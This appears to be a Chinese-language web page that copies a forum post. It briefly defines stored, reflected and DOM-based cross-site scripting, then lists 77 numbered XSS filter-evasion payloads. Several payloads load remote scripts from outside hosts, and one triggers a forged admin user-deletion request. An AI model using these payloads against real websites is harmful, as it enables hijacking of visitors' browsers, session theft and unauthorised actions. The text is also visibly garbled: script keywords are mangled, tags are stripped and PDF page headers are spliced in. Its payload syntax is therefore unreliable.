XSS的定义及攻击汇总

来源:互联网 发布:有什么好看的网络剧 编辑:程序博客网 时间:2024/05/07 22:13

什么是XSS攻击

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而Java是新型的“ShellCode”。

XSS攻击分类

XSS攻击通常被分为两类:存储型和反射型。还有第三类,不那么知名的,基于DOM的xss。

存储型

注入的脚本被永久的存储在了目标服务器中,比如数据库、论坛帖子、访问日志、留言评论等。受害者向服务器请求获取存储的信息时,

就获得了这些恶意脚本。存储型XSS也被称为持久型或I-型XSS。

反射型

注入脚本从网站服务器被反弹回来,比如错误消息、搜索结果、或者任何其他响应(这些响应完全或部分包含了用户在浏览器输入的内容)。

反射型攻击通过其他途径传递到受害者,比如邮件、或其他网站。当用户被引诱点击恶意链接,提交一个特别构造的表单、或浏览一个恶意

站点,注入脚本传送到了脆弱站点并反射给用户的浏览器,浏览器认为该链接来自一个可信的服务器就执行了它。反射型XSS也称为非持久型

或II-型XSS。

DOM型

DOM型XSS又称0-型xss。攻击者提交的恶意数据并未显式的包含在web服务器的响应页面中,但会被页面中的js脚本以变量的形式来访问到,

导致浏览器在渲染页面执行js脚本的过程中,通过DOM操作执行了变量所代表的恶意脚本。这种也被归类为‘client-side xss’。

前两类xss攻击中,服务器的响应页面中显式的包含了恶意内容,被归类为‘server-side xss’。

XSS攻击汇总

(1)普通的XSS Java注入< SRC=http://3w.org/XSS/xss.js></>(2)IMG标签XSS使用Java命令< SRC=http://3w.org/XSS/xss.js></>(3)IMG标签无分号无引号<IMG SRC=java:alert(‘XSS’)>(4)IMG标签大小写不敏感<IMG SRC=JaVa:alert(‘XSS’)>(5)HTML编码(必须有分号)<IMG SRC=java:alert(“XSS”)>(6)修正缺陷IMG标签<IMG “”"><>alert(“XSS”)</>”>

(7)formCharCode标签(计算器)

<IMG SRC=java:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)

<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)

<IMG SRC=java..省略..XSS')>

(11)嵌入式标签,将Java分开

<IMG SRC=”jav a:alert(‘XSS’);”>

(12)嵌入式编码标签,将Java分开

<IMG SRC=”jav a:alert(‘XSS’);”>

(13)嵌入式换行符

<IMG SRC=”jav a:alert(‘XSS’);”>

(14)嵌入式回车

<IMG SRC=”jav a:alert(‘XSS’);”>

(15)嵌入式多行注入Java,这是XSS极端的例子

<IMG SRC=”java:alert(‘XSS‘)”>

(16)解决限制字符(要求同页面)

<>z=’document.’</>

<>z=z+’write(“‘</>

<>z=z+’<’</>

<>z=z+’ src=ht’</>

<>z=z+’tp://ww’</>

<>z=z+’w.shell’</>

<>z=z+’.net/1.’</>

<>z=z+’js></sc’</>

<>z=z+’ript>”)’</>

<>eval_r(z)</>

(17)空字符12-7-1 T00LS - Powered by Discuz! Board

https://www.t00ls.net/viewthread.php?action=printable&tid=15267 2/6

perl -e ‘print “<IMG SRC=java\0:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签

<IMG SRC=” java:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS

</XSS SRC=”http://3w.org/XSS/xss.js”></>

(21)Non-alpha-non-digit XSS to 2

<BODY !#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3

</SRC=”http://3w.org/XSS/xss.js”></>

(23)双开括号

<<>alert(“XSS”);//<</>

(24)无结束脚本标记(仅火狐等浏览器)

< SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2

< SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/Java XSS

<IMG SRC=”java:alert(‘XSS’)”

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号

<>a=/XSS/

alert(a.source)</>

(29)换码过滤的Java

\”;alert(‘XSS’);//

(30)结束Title标签

</TITLE><>alert(“XSS”);</>

(31)Input Image

<INPUT SRC=”java:alert(‘XSS’);”>

(32)BODY Image

<BODY BACKGROUND=”java:alert(‘XSS’)”>

(33)BODY标签

<BODY(‘XSS’)>

(34)IMG Dynsrc

<IMG DYNSRC=”java:alert(‘XSS’)”>

(35)IMG Lowsrc

<IMG LOWSRC=”java:alert(‘XSS’)”>

(36)BGSOUND

<BGSOUND SRC=”java:alert(‘XSS’);”>

(37)STYLE sheet

<LINK REL=”stylesheet” HREF=”java:alert(‘XSS’);”>

(38)远程样式表

<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>

(39)List-style-image(列表式)

<STYLE>li {list-style-image: url(“java:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VB

<IMG SRC=’vb:msgbox(“XSS”)’></STYLE><UL><LI>XSS

(41)META链接url

<META HTTP-EQUIV=”refresh” CONTENT=”0;

URL=http://;URL=java:alert(‘XSS’);”>

(42)Iframe

<IFRAME SRC=”java:alert(‘XSS’);”></IFRAME>

(43)Frame

<FRAMESET><FRAME SRC=”java:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board

https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6

(44)Table

<TABLE BACKGROUND=”java:alert(‘XSS’)”>

(45)TD

<TABLE><TD BACKGROUND=”java:alert(‘XSS’)”>

(46)DIV background-image

<DIV STYLE=”background-image: url(java:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-

8&13&12288&65279)

<DIV STYLE=”background-image: url(java:alert(‘XSS’))”>

(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达

<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)

<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image

<STYLE>.XSS{background-image:url(“java:alert(‘XSS’)”);}</STYLE><A

CLASS=XSS></A>

(52)IMG STYLE方式

exppression(alert(“XSS”))’>

(53)STYLE background

<STYLE><STYLE

type=”text/css”>BODY{background:url(“java:alert(‘XSS’)”)}</STYLE>

(54)BASE

<BASE HREF=”java:alert(‘XSS’);//”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>

(56)在flash中使用ActionScrpt可以混进你XSS的代码

a=”get”;

b=”URL(\”";

c=”java:”;

d=”alert(‘XSS’);\”)”;

eval_r(a+b+c+d);(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上<HTML xmlns:xss><?importnamespace=”xss” implementation=”http://3w.org/XSS/xss.htc”><xss:xss>XSS</xss:xss>

</HTML>(58)如果过滤了你的JS你可以在图片里添加JS代码来利用< SRC=””></>(59)IMG嵌入式命令,可执行任意命令<IMG SRC=”http://www.XXX.com/a.php?a=b”>(60)IMG嵌入式命令(a.jpg在同服务器)Redirect302/a.jpg http://www.XXX.com/admin.asp&deleteuser(61)绕符号过滤< a=”>” SRC=”http://3w.org/xss.js”></>(62)< =”>” SRC=”http://3w.org/xss.js”></>(63)< a=”>”” SRC=”http://3w.org/xss.js”></>(64)< “a=’>’” SRC=”http://3w.org/xss.js”></>(65)< a=`>` SRC=”http://3w.org/xss.js”></>(66)12-7-1 T00LS -PoweredbyDiscuz!Board

https://www.t00ls.net/viewthread.php?action=printable&tid=15267 4/6< a=”>’>” SRC=”http://3w.org/xss.js”></>(67)<>document.write(“<SCRI”);</>PT SRC=”http://3w.org/xss.js”></>

(68)URL绕行

<A HREF=”http://127.0.0.1/”>XSS</A>

(69)URL编码

<A HREF=”http://3w.org”>XSS</A>

(70)IP十进制

<A HREF=”http://3232235521″>XSS</A>

(71)IP十六进制

<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>

(72)IP八进制

<A HREF=”http://0300.0250.0000.0001″>XSS</A>

(73)混合编码

<A HREF=”h

tt p://66.000146.0×7.147/”">XSS</A>

(74)节省[http:]

<A HREF=”//www.google.com/”>XSS</A>

(75)节省[www]

<A HREF=”http://google.com/”>XSS</A>

(76)绝对点绝对DNS

<A HREF=”http://www.google.com./”>XSS</A>

(77)java链接

<A HREF=”java:document.location=’http://www.google.com/’”>XSS</A>